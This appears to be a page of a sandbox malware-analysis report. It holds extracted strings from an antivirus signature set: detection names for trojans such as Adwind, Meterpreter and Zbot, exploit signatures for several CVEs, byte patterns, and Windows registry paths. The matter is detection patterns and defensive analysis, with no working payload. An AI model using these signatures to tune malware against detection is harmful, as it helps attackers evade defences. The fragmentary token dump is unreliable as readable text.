!#HSTR:JAVA:Feature:M:647 !#HSTR:JAVA:Feature:M:650 !#HSTR:JAVA:Feature:M:652 !#HSTR:JAVA:Feature:M:653 !#HSTR:JAVA:Feature:M:659 !#HSTR:JAVA:Feature:M:660 
!#HSTR:JAVA:Feature:M:661 !#HSTR:JAVA:Feature:M:662 !#HSTR:JAVA:Feature:M:663 !#HSTR:JAVA:Feature:M:668 !#HSTR:JAVA:Feature:M:670 !#HSTR:JAVA:Feature:M:674 
!#HSTR:JAVA:Feature:M:675 !#HSTR:JAVA:Feature:M:676 !#HSTR:JAVA:Feature:M:678 !#HSTR:JAVA:Feature:M:679 !#HSTR:JAVA:Feature:M:680 !#HSTR:JAVA:Feature:M:681 
!#HSTR:JAVA:Feature:M:682 !#HSTR:JAVA:Feature:M:683 !#HSTR:JAVA:Feature:M:684 !#HSTR:JAVA:Feature:M:685 !#HSTR:JAVA:Feature:M:686 !#HSTR:JAVA:Feature:M:688 
!#HSTR:JAVA:Feature:M:690 !#HSTR:JAVA:Feature:M:695 !#HSTR:Java/inflate.A inflate !#Base64_DumpJavaClass yv66vgAA !#HSTR:JAVA:Feature:C:194 depen !#HSTR:JAVA:Feature:C:317 ingle 
!#HSTR:JAVA:Feature:C:318 ionlj !#HSTR:JAVA:Feature:M:173 ninth !#HSTR:JAVA:Feature:M:189 etkpo !#HSTR:JAVA:Feature:M:219 ter&( !#HSTR:JAVA:Feature:M:265 ethod 
!#HSTR:JAVA:Feature:M:428 emget !#HSTR:JAVA:Feature:M:487 ime;( !#HSTR:JAVA:Feature:M:566 end-( !#ALF:Java:Adwind com/hack/Main$ !#ALFPER:HSTR:JvBanload.T squirrel123 
!#Base64_DumpJavaSerializedClass rO0ABXVy !#ALF:HSTR:Trojan:Java/Adwind.AP!bit !#SLF:Java/Meterpreter.A (Lcom/metasploit/meterpreter/ !#ALF:HSTR:Trojan:Java/Adwind.AM!bit 
Loperational/JRat; !#ALF:HSTR:Trojan:Java/Adwind.AR!bit 5bqc0eu382hckds9ub !#java:do_deep_rescan !#HSTR:CVE-2010-0840_Sig !#Exploit:Java/PrevalentPattern 
153615BC3ABB59B73A123612361515A0 !#ALF:HSTR:Trojan:Java/Adwind.AQ!bit 1e7skijgl7n6iflppd4aprf7qgb 124CBB592AB7B6B64B2A2B12B64B2AB8B0 
1536190332B6B6B8B83A123612361515A0 1904321903322AB62D2CB82AB62D2CB8A7 19B619B6B8BB59B712B8B612B6B6B657A7 5911105459111054591110545911105459 
BB59B719B62D1C32B8046092B6B63A84A7 com/metasploit/meterpreter/stdapi/stdapi_ 153619B619073203BDB63A123612361515A0 153619B619073203BDB63A133613361515A0 
15362DBB5919B7B63AB83A123612361515A0 15362DBB5919B7B63AB83A133613361515A0 2A2BB52AB72A12B52A12B52A12B52A2CB5B1 2C1D2B051D68051D680560B610B8915484A7 
59B65FB65B57B65FB6B65AB65F645A3E4D36 B215B21533B282B2649154B20460B38415A7 BB592AB6BC045958105F59BE04645B3E4C3D !#ALF:HSTR:Java:Adwind!enc.1 
!#ALF:HSTR:Java:Adwind!enc.2 15362B2AB63A113615116836123612361515A0 2DB83A2A2B190319BEB8B6572A2B04B63A19B0 \\y? - Y? ;G 3H? ]w J;k? gJ;k? h f8? Q ~b? H 6[? < cmX; ,cmX; 
'I\\H> 3V]o? Z7'? oZ7'? 0wL? 0wL? a 3| ? 3| ? N 4-? . 6=N6[? U>5'? ev;%s? d]o? d]o? a 89H?\t > &,89H?\t ?@g]o? W`Bar? bo7'? n[{q? xd?k? 8zl6l -3? < u\"a? 6W? - \\Ec? <? 3+ >?<3-? rs:cL? eyroot 
VSYSTEM\\CurrentControlSet\\Control\\DeviceClasses\\{AD498944-762F-11D0-8DCB-00C04FC3358C} VSYSTEM\\CurrentControlSet\\control\\deviceclasses\\{53f56307-b6bf-11d0-94f2-
00a0c91efb8b} VSYSTEM\\CurrentControlSet\\control\\deviceclasses\\{dda54a40-1e4c-11d1-a050-405705c10000} VSYSTEM\\CurrentControlSet\\control\\deviceclasses\\{f18a0e88-c30c-11d0-8815-
00a0c906bed8} Vsystem\\currentcontrolset\\control\\deviceclasses\\{4afa3d53-74a7-11d0-be5e-00a0c9062857} Vsystem\\currentcontrolset\\control\\deviceclasses\\{4d36e978-e325-11ce-bfc1-
08002be10318} Vsystem\\currentcontrolset\\control\\deviceclasses\\{53172480-4791-11d0-a5d6-28db04c10000} 4clsid\\{ecabb0be-7f19-11d2-978e-0000f8757e2a}\\ProgID 
HCrmRecoveryClerk.CrmRecoveryClerk.1 <CLSID\\{000C1094-0000-0000-C000-000000000046}\\InprocServer32 8C:\\Windows\\system32\\msi.dll <CLSID\\{13AA3650-BB6F-11D0-AFB9-
00AA00B67A42}\\InprocServer32 8C:\\Windows\\System32\\qdv.dll <CLSID\\{2DB47AE5-CF39-43C2-B4D6-0CD8D90946F4}\\InprocServer32 8C:\\Windows\\System32\\sbe.dll <CLSID\\{4EB31670-
9FC6-11CF-AF6E-00AA00B67A42}\\InprocServer32 <CLSID\\{6CFAD761-735D-4AA5-8AFC-AF91A7D61EBA}\\InprocServer32 <CLSID\\{B1B77C00-C3E4-11CF-AF79-
00AA00B67A42}\\InprocServer32 <CLSID\\{C9F5FE02-F851-4EB5-99EE-AD602AF1E619}\\InprocServer32 <clsid\\{289228de-a31e-11d1-a19c-0000f875b132}\\inprocserver32 
8c:\\windows\\System32\\cic.dll <clsid\\{3d112e22-62b2-11d1-9fef-00600832db4a}\\inprocserver32 <clsid\\{4150f050-bb6f-11d0-afb9-00aa00b67a42}\\inprocserver32 8C:\\WINDOWS\\system32\\qdv.dll 
<clsid\\{44ec053a-400f-11d0-9dcd-00a0c90391d3}\\inprocserver32 8C:\\WINDOWS\\system32\\ATL.DLL Fclsid\\{2206cdb3-19c1-11d1-89e0-00c04fd7a829}\\versionindependentprogid 
$MSDASCErrorLookup Fclsid\\{410381db-af42-11d1-8f10-00c04fc2c17b}\\versionindependentprogid $COMSNAP.COMNSView Fclsid\\{4662daaa-d393-11d0-9a56-
00c04fb68bf7}\\versionindependentprogid $ITIR.LocalCatalog Fclsid\\{4662daae-d393-11d0-9a56-00c04fb68bf7}\\versionindependentprogid $ITIR.PropertyList Fclsid\\{4662dab0-d393-11d0-9a56-
00c04fb68b66}\\versionindependentprogid $HHCtrl.SYstemSort Fclsid\\{adb880a4-d8ff-11cf-9377-00aa003b7a11}\\versionindependentprogid $HHCtrl.FileFinder Gclsid\\{ef636390-f343-11d0-9477-
00c04fd36226}\\\\VersionIndependentProgID \"DBRSTPRX.AsProxy /SOFTWARE\\Microsoft\\Internet Explorer\\AboutURLs PostNotCached8res://mshtml.dll/repost.htm 
BSOFTWARE\\classes\\Interface\\{00000132-0000-0000-c000-000000000046} ,ILocalSystemActivator Gsoftware\\microsoft\\internet explorer\\advancedoptions\\multimedia\\animat uncheckedvalue 
KSOFTWARE\\Classes\\CLSID\\{00020421-0000-0000-C000-000000000046}\\InprocServer ole2disp.dll VSoftware\\Classes\\CLSID\\{00000315-0000-0000-C000-
000000000046}\\DataFormats\\DefaultFile WSOFTWARE\\Classes\\clsid\\{d7fcb63b-5c55-11d1-8f00-00c04fc2c17b}\\versionindependentprogid WSoftware\\Classes\\CLSID\\{00000514-0000-0010-
8000-00AA006D2EA4}\\VersionIndependentProgID Wsystem\\currentcontrolset\\services\\sharedaccess\\parameters\\firewallpolicy\\domainprofile -CLSID\\{5cb66670-d3d4-11cf-acab-00a024a55aef} 
XCOM+ Extended Transaction Context Component ;CLSID\\{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}\\LocalServer32 <C:\\Windows\\System32\\mshta.exe <CLSID\\{1B544C22-FD0B-11CE-
8C63-00AA0044B51F}\\InprocServer32 :C:\\Windows\\SysWOW64\\qcap.dll <CLSID\\{8596E5F0-0DA5-11D0-BD21-00A0C911CE86}\\InprocServer32 :C:\\Windows\\System32\\qcap.dll <CLSID\\
{BF87B6E1-8C27-11d0-b3f0-00aa003761c5}\\InprocServer32 <clsid\\{6e8d4a20-310c-11d0-b79a-00aa003767a7}\\inprocserver32 :C:\\WINDOWS\\system32\\qdvd.dll <clsid\\{CD8743A1-3736-11d0-
9E69-00C04FD7C15B}\\inprocserver32 <clsid\\{d76e2820-1563-11cf-ac98-00aa004c0fa9}\\inprocserver32 Fclsid\\{6bc098a7-0ce6-11d1-baae-00c04fc2e20d}\\versionindependentprogid 
&IAS.PolicyEnforcer Gclsid\\{7444C719-39BF-11D1-8CD9-00C04FC29D45}\\\\VersionIndependentProgID $CryptSig.CryptSig Gclsid\\{92ad68ab-17e0-11d1-b230-
00c04fb9473f}\\\\VersionIndependentProgID $STClient.STClient 0SYSTEM\\CurrentControlSet\\Services\\RemoteStorage WindowsAPI>Network Connections Management 
0system\\controlset001\\services\\netman\\parameters servicedll>c:\\windows\\System32\\netman.dll 2system\\currentcontrolset\\services\\bits\\parameters servicedll:C:\\WINDOWS\\system32\\qmgr.dll 
>SOFTWARE\\Classes\\AppID\\{ECABB0C3-7F19-11D2-978E-0000F8757E2A} 6ComEvents.ComServiceEvents >SOFTWARE\\Classes\\CLSID\\{00000542-0000-0010-8000-00AA006D2EA4} 6adodb 
error lookup service ASoftware\\Microsoft\\Windows\\CurrentVersion\\App Paths\\IEXPLORE.EXE 0C:\\WINDOWS\\iexplore.exe Dsoftware\\classes\\typelib\\{3d5905e0-523c-11d1-9fea-
00600832db4a}\\1.0 *cic 1.0 Type Library ESOFTWARE\\Classes\\CLSID\\{0000050B-0000-0010-8000-00AA006D2EA4}\\ProgID (adodb.parameter.2.8 Jsystem\\controlset001\\control\\class\\
{4d36e97d-e325-11ce-bfc1-08002be10318} System devices Lsoftware\\classes\\typelib\\{7988b57c-ec89-11cf-9c00-00aa00a14f56}\\1.0\\0\\win32 dskquota.dll MSOFTWARE\\Classes\\CLSID\\
{07D26616-6136-11D1-8C9C-00C04FC3261D}\\InprocServer32 CLBCatQ.dll MSoftware\\Classes\\CLSID\\{00000507-0000-0010-8000-00AA006D2EA4}\\InprocServer32 msado15.dll 
VSOFTWARE\\Classes\\CLSID\\{00000319-0000-0000-C000-000000000046}\\DataFormats\\DefaultFile WSOFTWARE\\Classes\\clsid\\{0003000a-0000-0000-c000-
000000000046}\\conversion\\readable\\main XSYSTEM\\CurrentControlSet\\control\\mediacategories\\{2bc31d69-96e3-11d2-ac4c-00c04f8efb68} 
XSYSTEM\\CurrentControlSet\\control\\mediacategories\\{9db7b9e0-c555-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{00dff077-96e3-11d2-ac4c-00c04f8efb68} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{185fede5-9905-11d1-95a9-00c04fb925d3} Xsystem\\currentcontrolset\\control\\mediacategories\\{185fede6-9905-11d1-95a9-00c04fb925d3} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{185fedfd-9905-11d1-95a9-00c04fb925d3} Xsystem\\currentcontrolset\\control\\mediacategories\\{1ad247eb-96e3-11d2-ac4c-00c04f8efb68} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{1ad247ec-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{1ad247ed-96e3-11d2-ac4c-00c04f8efb68} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{1e84c900-7e70-11d0-a5d6-28db04c10000} Xsystem\\currentcontrolset\\control\\mediacategories\\{20173f20-c559-11d0-8a2b-00a0c9255ac1} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{22b0eafd-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{22b0eafe-96e3-11d2-ac4c-00c04f8efb68} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{2721ae20-7e70-11d0-a5d6-28db04c10000} Xsystem\\currentcontrolset\\control\\mediacategories\\{2bc31d6a-96e3-11d2-ac4c-00c04f8efb68} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{2bc31d6b-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{2ceaf780-c556-11d0-8a2b-00a0c9255ac1} Copyright Joe Security LLC 2021 Page 13 of 181



Xsystem\\currentcontrolset\\control\\mediacategories\\{2bc31d6b-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{2ceaf780-c556-11d0-8a2b-00a0c9255ac1} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{2eb07ea0-7e70-11d0-a5d6-28db04c10000} Xsystem\\currentcontrolset\\control\\mediacategories\\{3a5acc00-c557-11d0-8a2b-00a0c9255ac1} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{41887440-c558-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{423274a0-8b81-11d1-a050-0000f8004788} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{4d837fe0-c555-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{507ae360-c554-11d0-8a2b-00a0c9255ac1} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{55515860-c559-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{63ff5747-991f-11d2-ac4d-00c04f8efb68} 
Xsystem\\currentcontrolset\\control\\mediacategories\\{65e8773d-8f56-11d0-a3b9-00a0c9223196} Xsystem\\currentcontrolset\\control\\mediacategories\\{65e8773e- server32 <clsid\\{5a580c11-e5eb-
11d1-a86e-0000f8084f96}\\inprocserver32 <clsid\\{5b035261-40f9-11d1-aaec-00805fc1270e}\\inprocserver32 <clsid\\{5b18ab61-091d-11d1-97df-00c04fb9618a}\\inprocserver32 <clsid\\{5e6ab780-
7743-11cf-a12b-00aa004ae837}\\inprocserver32 <clsid\\{674b6698-ee92-11d0-ad71-00c04fd8fdff}\\inprocserver32 <clsid\\{6756a641-de71-11d0-831b-00aa005b4383}\\inprocserver32 <clsid\\
{675f097e-4c4d-11d0-b6c1-0800091aa605}\\inprocserver32 <clsid\\{69a25c12-1811-11d2-a52b-0000f803a951}\\inprocserver32 <clsid\\{6a01fda0-30df-11d0-b724-00aa006c1a01}\\inprocserver32 
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!EXECryptor_2.x.xVWS1 !EXECryptor_2.x.xYX[  !EXECryptor_2.x.xYX[ !EXECryptor_2.x.x  !EXECryptor_2.x.x  !LightyCompressorU !GoatPEMutilator_1_6`j !#FOP:TrojanSpy:Win32/Nivdort.Q2 
!!#FOP:Win32/Nuwar !#FOP:Expiro.gen!E`U  !#FOP:Expiro.gen!E`U !YingInstall_v5800h  !YingInstall_v5800h !eXPressor_1.5.0.1  !eXPressor_1.5.0.1 ujhhj 5%!\t\t1 Rhhjhj 
!#LowFi:Win32/Upatre_SendMsg !#VirTool:Win32/Obfuscator_LOD.Ah 6% \"!#FOP:Win32/Nuwar !#FOP:Deep_Analysis3  !#FOP:Deep_Analysis3  !#FOP:Deep_AnalysisU  !#FOP:Deep_Analysisj 
j3SSj  !#FOP:Deep_Analysis !#FOP:Obfuscator.GS  !#FOP:Obfuscator.GS S39VWt !#FOP:PrivacyCenter9  !#FOP:PrivacyCenter9 !#FOP:Win32/EyeStye  !#FOP:Win32/EyeStye 5|Sf[RS~ [ZSUsS 
!#FOP:Win32/Induc.BU  !#FOP:Win32/Induc.BU jjIuQ !#FOP:Zbot_Packer_A3G  !#FOP:Zbot_Packer_A3G !#FOP:Zbot_Packer_A3  !#FOP:Zbot_Packer_A3 u@=u3MMMH s2%%%H u@3=u3 
u@=u399  !#FOP:Zbot_Packer_AU hjjhjj !#FOP:Zbot_Packer_A[C  !#FOP:Zbot_Packer_A[C !#FOP:Zbot_Packer_A`hV^Z  !#FOP:Zbot_Packer_A`hV^Z  !#FOP:Zbot_Packer_A !``aa 3=u3XXXS 
!#Rovnix_Dropper_v2  !#Rovnix_Dropper_v2 !#do_vmmgrow_rescanU  !#do_vmmgrow_rescanU  !#do_vmmgrow_rescan !1\tA!hj !wintrim_obfuscator  !wintrim_obfuscator !#FOP:zbot_deep_analysisV 
1Uhdd 1ZYYd !#FOP:Trojan:Win32/Tibs.LC !#VirTool:Win32/Obfuscator_LOD.A !#attrmatch_codepatch_EIP_0000001A_EB !#attrmatch_codepatch_EIP_00000020_01h 
!#attrmatch_codepatch_EIP_0000001C_9090 !#Cmdline_Obfuscator  !#Cmdline_Obfuscator !#FOP:Win32/Bankrypt0@  !#FOP:Win32/Bankrypt0@ !ApplibDecompression  !ApplibDecompression 
!MuckisProtector_2_0  !MuckisProtector_2_0 !kkrunchy_0.23_alpha  !kkrunchy_0.23_alpha !#Rogue:Win32/Winwebsec !#FOP:Virus:Win32/Golem.G2 !#FOP:Virus:Win32/FakeExplorer.A` yyyyyyyy 
cyyyyyyyy !#FOP:Virus:Win32/FakeExplorer.B` cyyyyyyyyyyyyy !#FOP:TrojanDownloader:Win32/Delf.CS B@Nuj !#FOP:TrojanDownloader:Win32/Agent.IXU !#FOP:TrojanDownloader:Win32/Fudyut.A 
9a78a3096eae  C:\\temp\\myapp.exe  9cb32eb20f6a e078d0ee7f7c  !#do_exhaustivehstr_rescanObMpAttributes isparanoid MpEnableExhaustiveDexScanning 15b303e55775 2345soft \t2345soft 
15b3319e6605 15b34c11459d 15b398af535b  437856ff197a  4a78439ec610  4d41c420cfea  executble_image 5a78ec245280  63782f027c75  6878cb96a614  6b8d611167ec PUA:Block:Bundlore.R 
6c41b11326ff  72789adece0e  7378a0e4e532  7378d53e7000  7878943c0364  79784bda1deb  7a7839a9fbf9  7b78fd6741ee  8778f6a1a1f5  93788d81fc95  9a78c569af86  9c789ba67cbf  
a278eb5c64c5  b3781dd9330f  b978418de539  b978e4cfedfc  bf78f78b13bb  c078d32aab93  f178f3690e1c  1789628cbfbb 3789452d8575 3db34fab1a32 steam.exe  40896a40f234 88613c3b1784 ->
(Upxw64) HSTR:HackTool:Win64/MikatzUPX 8f7813ecdbb5  ad787dbad042 securityOffset e1b3d9f5af93 \\%l%l%l%l%l%l%l%l.exe e478a5dbb5a0 4d298c9ac9fe 4d298c9ac9feIncludesResearchData 
websettings.xml.rels 4f296cf42557 4f296cf42557IncludesResearchData 4f29f2a5bdc8 4f29f2a5bdc8IncludesResearchData 5029fd12dcc8 5029fd12dcc8IncludesResearchData 52294ab098ab 
52294ab098abIncludesResearchData 53297a0e29c4 53297a0e29c4IncludesResearchData 5329db9de718 5329db9de718IncludesResearchData 8329fbb676fc 8329fbb676fcIncludesResearchData 
1257898c5dd76  1338dcf1b5461 PUA:Block:Bundlore.P 13a7895eea07a 14f78d0c64e0e  18a61067a4815  1d4781d20490a  HSTR:JAVA:Feature:M:688 SIGATTR:Java:Throwable.getMessage 
SCPT:PostScript_forall SIGATTR:Java:Long.parseLong HSTR:JAVA:Feature:C:634 HSTR:JAVA:Feature:C:15 HSTR:JAVA:Feature:C:614 SIGATTR:Java:ByteArrayOutputStream.close 
SIGATTR:Java:File.getAbsolutePath SIGATTR:Java:MessageDigest.update SIGATTR:Java:AccessController.doPrivileged SIGATTR:Java:Object.wait SIGATTR:Java:SecureRandom.nextBytes 
SIGATTR:Java:ObjectInputStream.defaultReadObject HSTR:JAVA:Feature:C:144 HSTR:JAVA:Feature:M:160 BRUTE:VBS:Feature:M:783 BRUTE:VBS:Feature:C:267 HSTR:JAVA:Feature:C:284 
SCPT:Exploit:O97M/CVE-2017-11882.APR1!MTB SCPT:Exploit:O97M/CVE-2017-11882.YA7!MTB SCRIPT:Exploit:Win32/CVE-2015-1641-4 BRUTE:JAMSI:Feature:C:144 
SIGATTR:Java:Toolkit.getDefaultToolkit SCPT:RansomNoteCat3_19 SIGATTR:Java:String.split SIGATTR:Java:ObjectInputStream.readObject SIGATTR:Java:Method.getReturnType 
HSTR:JAVA:Feature:C:548 BRUTE:VBS:Feature:M:511 SIGATTR:Java:String.valueOf SIGATTR:Java:Long.toString SIGATTR:Java:Boolean.valueOf HSTR:JAVA:Feature:C:354 
BRUTE:VBS:Feature:M:706 SIGATTR:Java:ByteBuffer.putInt SIGATTR:Java:Cipher.init BRUTE:VBS:Feature:C:43 HSTR:JAVA:Feature:C:520 BRUTE:VBS:Feature:M:283 BRUTE:VBS:Feature:C:689 
HSTR:JAVA:Feature:C:161 HSTR:JAVA:Feature:C:200 BRUTE:PDF:Feature:C:720 BRUTE:VBS:Feature:M:675 flafisiX SIGATTR:Java:String.toCharArray BRUTE:VBS:Feature:C:185 
Script:Phish:HTTPS/Mitargcro.S201 AGGR:Phish:HTTPS/Mitargcro.S200 BRUTE:VBS:Feature:C:435 HSTR:JAVA:Feature:M:205 BRUTE:VBS:Feature:M:150 HSTR:JAVA:Feature:C:356 
BRUTE:VBS:Feature:C:450 SIGATTR:Java:Hashtable.get HSTR:JAVA:Feature:C:367 SCRIPT:Psloadlib.A HSTR:JAVA:Feature:C:96 HSTR:JAVA:Feature:C:119 SCPT:RansomNoteCat4_50 
SIGATTR:Java:DataOutputStream.writeByte HSTR:JAVA:Feature:C:517 HSTR:JAVA:Feature:C:295 BRUTE:VBS:Feature:M:349 AGGR:Lua:JarClassFilesInsideGE25 SIGATTR:Java:Field.getType 
SIGATTR:Java:Class.getPackage HSTR:JAVA:Feature:C:164 BRUTE:PDF:Feature:M:589 SIGATTR:Java:MessageDigest.getInstance HSTR:JAVA:Feature:C:370 SIGATTR:Java:String.startsWith 
BRUTE:PDF:Feature:C:178 HSTR:JAVA:Feature:M:623 BRUTE:VBS:Feature:C:295 HSTR:JAVA:Feature:C:538 SCPT:VBSExe SCPT:Adodb.vbsexe HSTR:JAVA:Feature:C:612 
HSTR:JAVA:Feature:C:145 BRUTE:VBS:Feature:C:217 SCPT:ClnWordsCat2_39 HSTR:JAVA:Feature:M:622 HSTR:JAVA:Feature:C:13 BRUTE:VBS:Feature:M:246 HSTR:JAVA:Feature:M:196 
SIGATTR:Java:Method.getDeclaringClass HSTR:JAVA:Feature:C:180 HSTR:JAVA:Feature:C:259 SCPT:Ping SIGATTR:Java:String.contains SIGATTR:Java:InetAddress.getHostAddress 
SIGATTR:Java:AudioFormat.getSampleRate SIGATTR:Java:JPanel.add SIGATTR:Java:AudioFormat.getFrameSize HSTR:JAVA:Feature:C:482 BRUTE:VBS:Feature:M:618 ATTR:RPF:ZipZipExt 
SIGATTR:Java:InputStream.close SIGATTR:Java:Writer.write BRUTE:JAMSI:Feature:M:66 SCPT:Hostname BRUTE:VBS:Feature:M:137 SCPT:TrojanDownloader:O97M/Obfuse.JQ1 
SIGATTR:Java:System.nanoTime HSTR:JAVA:Feature:C:564 HSTR:JAVA:Feature:C:400 HSTR:JAVA:Feature:C:286 BRUTE:VBS:Feature:M:56 BRUTE:VBS:Feature:M:395 
BRUTE:JAMSI:Expert:Feature:58 BRUTE:VBS:Feature:C:354 HSTR:JAVA:Feature:M:108 HSTR:JAVA:Feature:M:675 HSTR:JAVA:Feature:C:66 HSTR:JAVA:Feature:M:515 
SIGATTR:Java:PrivilegedActionException.getException SIGATTR:Java:System.getProperty SCPT:HPDockStationFirmware.p1 HSTR:JAVA:Feature:C:70 HSTR:JAVA:Feature:M:640 
SIGATTR:Java:DataBuffer.setElem SIGATTR:Java:Math.abs BRUTE:VBS:Feature:M:766 HSTR:JAVA:Feature:M:685 BRUTE:VBS:Feature:M:310 HSTR:JAVA:Feature:M:308 
SCPT:GeneralityExploitStrRare.C SIGATTR:Java:Character.toUpperCase HSTR:JAVA:Feature:C:312 HSTR:JAVA:Feature:M:45 SIGATTR:Java:Container.add HSTR:JAVA:Feature:C:588 
SIGATTR:Java:Math.sqrt HSTR:JAVA:Feature:C:628 BRUTE:VBS:Feature:C:682 BRUTE:JAMSI:Feature:M:224 SIGATTR:Java:Cipher.doFinal HSTR:JAVA:Feature:C:512 HSTR:JAVA:Feature:C:437 
BRUTE:VBS:Feature:C:761 BRUTE:VBS:Feature:M:548 SIGATTR:Java:Class.getMethod HSTR:JAVA:Feature:C:509 SIGATTR:Java:HttpURLConnection.setDoOutput 
SIGATTR:Java:InetAddress.getLocalHost SIGATTR:Java:LinkedList.isEmpty SIGATTR:Java:IOException.printStackTrace BRUTE:PDF:Feature:C:222 HSTR:JAVA:Feature:M:641 
HSTR:JAVA:Feature:M:223 SIGATTR:Java:Reflect_Method.invoke HSTR:JAVA:Feature:C:84 SIGATTR:Java:String.indexOf SIGATTR:Java:HashMap.remove SCPT:VBSForEach 
SIGATTR:Java:BigInteger.toByteArray BRUTE:VBS:Feature:C:95 HSTR:JAVA:Feature:C:252 SIGATTR:Java:Class.toString HSTR:JAVA:Feature:C:646 BRUTE:VBS:Feature:M:711 
SIGATTR:Java:IOException.toString ExceptionExt BRUTE:VBS:Feature:C:282 SCPT:RansomNoteCat4_30 SIGATTR:Java:Reflect_Field.set BRUTE:VBS:Feature:C:437 SCRIPT:FlashExp_writebyte 
SCRIPT:Exploit:SWF/Netis.B-2 HSTR:JAVA:Feature:C:38 BRUTE:JAMSI:Feature:C:93 SIGATTR:Java:String.format HSTR:JAVA:Feature:C:551 HSTR:JAVA:Feature:C:581 ML:LUA:FileSizeLE400.A 
HSTR:JAVA:Feature:C:329 SIGATTR:Java:SecurityManager.checkPermission SIGATTR:Java:OutputStream.write HSTR:JAVA:Feature:M:8 HSTR:JAVA:Feature:M:684 SIGATTR:Java:Method.invoke 
BRUTE:Exploit:Java/CVE-2008-5353.C3 BRUTE:VBS:Feature:M:544 SCPT:LNK/EvalAttr HSTR:JAVA:Feature:C:601 SIGATTR:Java:Field.set HSTR:JAVA:Feature:C:165 HSTR:JAVA:Feature:C:151 
BRUTE:VBS:Feature:C:91 SIGATTR:Java:Class.forName SIGATTR:Java:DataOutputStream.write BRUTE:JAMSI:Feature:C:266 SIGATTR:Java:Class.getClassLoader BRUTE:JAMSI:Feature:M:278 
AGGR:AlreadyExistInstaller AGGR:GenericInstallerFile HSTR:JAVA:Feature:C:61 SIGATTR:Java:Math.log HSTR:JAVA:Feature:M:18 BRUTE:VBS:Feature:C:113 SCPT:O97M/Trickbot.VAR4!MTB 
SCPT:TrojanDownloader:O97M/Zloader.STO3 BRUTE:PDF:Feature:M:728 BRUTE:VBS:Feature:M:528 SIGATTR:Java:Graphics2D.draw HSTR:JAVA:Feature:M:402 Exploit:Java/CVE-2013-
1493.INIT AGGR:ExcelSiorType.B SIGATTR:Java:ColorConvertOp.filter SIGATTR:Java:Integer.toString SIGATTR:Java:Method.getParameterTypes HSTR:JAVA:Feature:C:244 
BRUTE:PDF:Feature:M:105 ExcelSiorType.C HSTR:JAVA:Feature:M:243 SCPT:PDF.HasImage SCRIPT:Psmarshal.A HSTR:JAVA:Feature:C:373 BRUTE:VBS:Feature:C:227 
BRUTE:PDF:Feature:C:702 SCPT:JS/BASE64.function.A SCPT:JS/Return HSTR:JAVA:Feature:M:178 BRUTE:JAMSI:Feature:M:235 BRUTE:PDF:Feature:M:353 BRUTE:JAMSI:Feature:C:133 
BRUTE:PDF:Feature:M:479 BRUTE:VBS:Feature:M:84 HSTR:JAVA:Feature:M:174 SCRIPT:base64 HSTR:JAVA:Feature:C:59 SCPT:RansomNoteCat4_48 SIGATTR:Java:Math.sin 
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BRUTE:PDF:Feature:M:479 BRUTE:VBS:Feature:M:84 HSTR:JAVA:Feature:M:174 SCRIPT:base64 HSTR:JAVA:Feature:C:59 SCPT:RansomNoteCat4_48 SIGATTR:Java:Math.sin 
SCPT:Linux/Trojan.mal_attr_ChmodToExec HSTR:JAVA:Feature:M:589 HSTR:JAVA:Feature:C:130 BRUTE:VBS:Feature:C:272 HSTR:JAVA:Feature:C:74 BRUTE:JAMSI:Feature:M:225 
BRUTE:VBS:Feature:M:458 HSTR:JAVA:Feature:M:122 SIGATTR:Java:Expression.getValue SIGATTR:Java:Thread.getContextClassLoader HSTR:JAVA:Feature:C:404 BRUTE:VBS:Feature:C:477 
HSTR:JAVA:Feature:C:500 SIGATTR:Java:Integer.intValue HSTR:Trojan:Java/ZKM HSTR:JAVA:Feature:C:228 SIGATTR:Java:ICC_Profile.getInstance BRUTE:PDF:Feature:M:160 
BRUTE:VBS:Feature:C:540 HSTR:JAVA:Feature:C:502 BRUTE:VBS:Feature:C:527 SIGATTR:Java:Socket.getInputStream BRUTE:VBS:Feature:C:183 SIGATTR:Java:LinkedList.add 
BRUTE:VBS:Feature:C:292 HSTR:JAVA:Feature:M:287 HSTR:JAVA:Feature:M:220 SCPT:TrojanDownloader:O97M/Qakbot.PJI6!MTB BRUTE:VBS:Feature:M:817 HSTR:JAVA:Feature:C:303 
BRUTE:PDF:Feature:M:153 SIGATTR:Java:Method.getModifiers SIGATTR:Java:Long.longValue BRUTE:PDF:Feature:M:162 SCPT:JS/copyright SCPT:GeneralityExploitStrRare.V 
SCPT:ClnWordsCat1_2 BRUTE:VBS:Feature:M:431 HSTR:JAVA:Feature:C:446 BRUTE:VBS:Feature:M:102 BRUTE:VBS:Feature:M:69 BRUTE:PDF:Feature:M:648 HSTR:JAVA:Feature:C:235 
SCPT:JS/license SCPT:VBSCLicense SCPT:ClnWordsCat2_47 SCPT:RansomNoteCat4_34 HSTR:JAVA:Feature:M:57 BRUTE:PDF:Feature:M:810 SCPT:RansomNoteCat4_2 
SCPT:RansomNoteCat1_3 HSTR:JAVA:Feature:C:310 BRUTE:JAMSI:Feature:M:109 HSTR:JAVA:Feature:M:411 HSTR:JAVA:Feature:C:330 BRUTE:VBS:Feature:M:546 
SIGATTR:Java:ByteBuffer.allocate SIGATTR:Java:Object.hashCode BRUTE:VBS:Feature:C:518 SIGATTR:Java:Double.parseDouble SIGATTR:Java:LinkedList.iterator SCPT:RansomNoteCat2_3 
